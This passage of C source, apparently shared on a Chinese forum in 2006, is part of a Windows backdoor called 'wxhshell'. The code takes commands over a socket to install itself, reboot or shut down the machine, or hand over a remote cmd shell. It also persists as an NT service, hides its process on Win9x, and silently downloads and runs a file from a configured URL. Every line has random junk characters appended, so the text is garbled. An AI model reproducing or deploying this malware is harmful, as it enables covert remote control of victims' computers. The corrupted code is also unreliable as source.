  } ;<R_j%*  
  else { \k-juF80  
iC2nHZ*,  
    switch(cmd[0]) { z(68^-V=:  
  Ui;s.f  
  // 帮助 5&Kn #  
  case '?': { ho$%7mc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G QBN-Qv  
    break; jz:c)C&/  
  } ,T[ +omo  
  // 安装 !T(Omve)  
  case 'i': { ZTC1t_  
    if(Install()) z6r/ w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,PxQ[CGg  
    else wo9f99  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qyfxTQ5  
    break; Y. tFqzo3  
    } '+tT$k  
  // 卸载 ,WK$jHG]  
  case 'r': { fsuvg jlE  
    if(Uninstall()) yyDBW`V((  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -s "$I:v  
    else xmx;tq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K 8c#/o  
    break; ,X6j$YLWp  
    } x^skoz  
  // 显示 wxhshell 所在路径 ' uw&f;/E  
  case 'p': { ;CBdp-BUj  
    char svExeFile[MAX_PATH]; `I{Q,HQ7  
    strcpy(svExeFile,"\n\r"); c)fp;^  
      strcat(svExeFile,ExeFile); vBnHG-5;P  
        send(wsh,svExeFile,strlen(svExeFile),0); 6u;(R0n  
    break; umn^QZ,  
    } n9-[z2n  
  // 重启 `:O.g9  
  case 'b': { 0lN8#k>H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z"T(8>c;g  
    if(Boot(REBOOT)) .LHe*JC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7E)7sd  
    else { a[l5k  
    closesocket(wsh); 1e} 3L2rC  
    ExitThread(0); dq(L1y870  
    } e1Hx"7ew_  
    break; 4=:eGlU93U  
    } @1Lc`;Wd  
  // 关机 >f8,YisH  
  case 'd': { !WnI`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ji=po;g=E  
    if(Boot(SHUTDOWN)) z59J=?|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~-i?=  
    else { *4y r7~S5  
    closesocket(wsh); }dl(9H=4  
    ExitThread(0); RL9BB.  
    } !,"G/}'^;  
    break;  '|T=  
    } OG`O i^2  
  // 获取shell Ij_`=w<  
  case 's': { E1_4\ S*z  
    CmdShell(wsh); hDsORh!i  
    closesocket(wsh); #Qd3A  
    ExitThread(0); :nEV/"#F  
    break; .x%SbG<k{  
  } T,>e\  
  // 退出 DboqFh#]=h  
  case 'x': { $@wkQ%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fh<G& E8 p  
    CloseIt(wsh); bnQO}G  
    break; `I$A;OPK7  
    } =1capix 1r  
  // 离开 $0t %}DE  
  case 'q': { gs >cx]>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~!kbB4`WK  
    closesocket(wsh); !6C d.fpWL  
    WSACleanup(); VRt*!v<")  
    exit(1); zY-m]7Yf  
    break; sA.yb,Fw  
        } ` 454=3H  
  } JM%#L*;  
  } iN*@f8gf  
OpQa!  
  // 提示信息 IIZsN*^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _I!&w!3oM  
} kpu^:N &  
  } 0<9TyN6  
B"v=Fr[  
  return; [4e5(!e  
} 8 Hn{CJ~'  
Ex3woT-  
// shell模块句柄 +n dyR  
int CmdShell(SOCKET sock) qQ_QF  
{ D6WsEd>  
STARTUPINFO si; \2!$HA7P  
ZeroMemory(&si,sizeof(si)); U_No/$ b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ND>}t#^$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _#:1Axx1  
PROCESS_INFORMATION ProcessInfo; 0*^Fk=>ej  
char cmdline[]="cmd"; u@B"*V~K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n21J7;\/+  
  return 0; lTXU  
} pxj"<q`nw8  
e)kf;Hkf  
// 自身启动模式 _?ZT[t<  
int StartFromService(void) e+[J9;g  
{ 7Go!W(8  
typedef struct ;+U9;  
{ T_WQzEL^  
  DWORD ExitStatus; nC^'2z  
  DWORD PebBaseAddress; *$!LRmp?  
  DWORD AffinityMask; '\Ub*m((1O  
  DWORD BasePriority; Qp ,l>k  
  ULONG UniqueProcessId; F`u~Jx8.*  
  ULONG InheritedFromUniqueProcessId; y(k2p  
}   PROCESS_BASIC_INFORMATION; Kf.b <wP{  
6X7_QBC)  
PROCNTQSIP NtQueryInformationProcess; %}[??R0  
V|)>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XvdhPOMy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Gf?KpU  
z0sB*5VH  
  HANDLE             hProcess; FQyiIT6  
  PROCESS_BASIC_INFORMATION pbi; 6D],275`J  
$m>e!P>%u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v|GvN|_|  
  if(NULL == hInst ) return 0; P7b2I=t  
,o)MiR9-[A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,n*.Yq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5kF5`5+Vj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t>xV]W<  
iYf4 /1IG,  
  if (!NtQueryInformationProcess) return 0; FyEl@ }W  
C6n4OU  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N5\<w>  
  if(!hProcess) return 0; Li2)~4p><  
|1D`v9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "{k3~epYaN  
9M<? *8)  
  CloseHandle(hProcess); VsC]z, oV  
;IT^SHym  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #d~"bn q;c  
if(hProcess==NULL) return 0; zkMQ= ,[  
oC [g  
HMODULE hMod; u2t<auE9^  
char procName[255]; R|suBF3  
unsigned long cbNeeded; jhLh~. 8  
pGIeW}2'9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zin ,yJ  
61'7b`:(hi  
  CloseHandle(hProcess); OjN]mp-q  
!4E:IM63  
if(strstr(procName,"services")) return 1; // 以服务启动 <7GK *I  
^tv*I~>J!  
  return 0; // 注册表启动 {x8`gP\H  
} XP7A.I#q0  
0\+Qi?&  
// 主模块 ? _W*7<  
int StartWxhshell(LPSTR lpCmdLine) z+b~#f3  
{ J: LSGj;R  
  SOCKET wsl; i"'k|TGW^  
BOOL val=TRUE; ^6*? a9jO>  
  int port=0; L!5f*  
  struct sockaddr_in door; PT;$@q8  
EY>A(   
  if(wscfg.ws_autoins) Install(); &l Q j?]  
L8W3Tpi&(  
port=atoi(lpCmdLine); /a q%l]hQ@  
vZ08/!n  
if(port<=0) port=wscfg.ws_port; 4Z_.Jdu w  
gvC2\k{  
  WSADATA data; -4Xr5j%o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ty78)XI  
c|7Pnx%gT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]HRZ9oP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /Hx\ gtV  
  door.sin_family = AF_INET; U2aE:$oeYi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `9ieTt  
  door.sin_port = htons(port); p})&Zl)V  
9qpH 8j+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m[}$&i$(  
closesocket(wsl); oVu>jO:.  
return 1; 4=9F1[  
} v zn/waw  
-b{*8(d<I  
  if(listen(wsl,2) == INVALID_SOCKET) { 8{ep`$(K@  
closesocket(wsl); p k/#+r;  
return 1; )6(mf2&  
} ~_raI7,  
  Wxhshell(wsl); dw&Xg_$  
  WSACleanup(); eN$~@'w  
WFkXz*7B  
return 0; =y':VIVJC  
68y.yX[  
} eE&F1|8  
{?C7BClB  
// 以NT服务方式启动 {e~d^^N5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `<K#bDU;a  
{ ;02lmpBj  
DWORD   status = 0; l- X|3,  
  DWORD   specificError = 0xfffffff; (p. 5J  
4_mh  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1t)6wk N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rh!41  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; K|B1jdzL  
  serviceStatus.dwWin32ExitCode     = 0; gs!{'=4wT  
  serviceStatus.dwServiceSpecificExitCode = 0; [J^,_iN[.  
  serviceStatus.dwCheckPoint       = 0; L]p:gI{m  
  serviceStatus.dwWaitHint       = 0; VHJr+BQ1K/  
]8mBFr5E9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %:??QD*  
  if (hServiceStatusHandle==0) return; wy^>i$TC  
j'7FTVmJ  
status = GetLastError(); 6wF ?FtT  
  if (status!=NO_ERROR) PY^Yx$t9  
{ ?FA:K0H?zl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %B~`bUHjq  
    serviceStatus.dwCheckPoint       = 0; SQeQ"k|P%  
    serviceStatus.dwWaitHint       = 0; 34oC285yc  
    serviceStatus.dwWin32ExitCode     = status; oreS u;`$  
    serviceStatus.dwServiceSpecificExitCode = specificError; cZwQ{9>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D^A_0@  
    return; %|;^[^7+}t  
  } WaH TzIa[  
|m=@;B|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6G( k{S  
  serviceStatus.dwCheckPoint       = 0;  "u%$`*  
  serviceStatus.dwWaitHint       = 0; 7 724,+2N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pG" 4qw  
} Ad"::&&Wk  
b*bR<|dTj  
// 处理NT服务事件,比如:启动、停止 vOqYt42  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 97 1qr  
{ eSvu:euv  
switch(fdwControl) @}FRiPo6  
{ HloP NE&}  
case SERVICE_CONTROL_STOP: N%T-Q9k  
  serviceStatus.dwWin32ExitCode = 0;  V C.r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E J 9A 4B  
  serviceStatus.dwCheckPoint   = 0; %o?fE4o'  
  serviceStatus.dwWaitHint     = 0; F`-? 3]\3  
  { t'z] <7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); t >8t|t+  
  } 9)=as/o  
  return; d>(dSKx  
case SERVICE_CONTROL_PAUSE: eo@:@O+bm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IlaH,J7n  
  break; ^ML2xh  
case SERVICE_CONTROL_CONTINUE: 0^.q5#A2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SkK=VeD>8  
  break; e\P+R>i0  
case SERVICE_CONTROL_INTERROGATE:  UWu|w  
  break; #a/lt^}C*  
}; ~:JKXa?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 08'JT{iid  
} sT/pA^rnnR  
TzIgEn~  
// 标准应用程序主函数 $mpfr#!&3o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mX<D]Z< k  
{ h IGa);g  
nrZv>r  
// 获取操作系统版本 w PV`j:?'  
OsIsNt=GetOsVer(); {2V=BDS|?K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C5eol &  
yX8F^iv[  
  // 从命令行安装 YN\ QwV  
  if(strpbrk(lpCmdLine,"iI")) Install(); !{SEm"J^  
$CXqkK<6  
  // 下载执行文件 `_f3o,5  
if(wscfg.ws_downexe) { MM^tk{2?.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .d.7D ]Yn  
  WinExec(wscfg.ws_filenam,SW_HIDE); 1z8.wdWJ}  
} wv1?v_4  
/1O6;'8He  
if(!OsIsNt) { +wQ GC  
// 如果时win9x,隐藏进程并且设置为注册表启动 UH[ YH;3O  
HideProc(); <q_H 3|  
StartWxhshell(lpCmdLine); (=p}b:Z  
} * yt/ Dj  
else I{M2nQi  
  if(StartFromService()) H-I*;  
  // 以服务方式启动 Ue8_Q8q5  
  StartServiceCtrlDispatcher(DispatchTable); ;  I=z  
else E fqa*,k  
  // 普通方式启动 >(\[$  
  StartWxhshell(lpCmdLine); ZkqC1u3  
ka]n+"~==\  
return 0; 0w OgQ n  
}
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只看该作者 1 发表于: 2006-10-10
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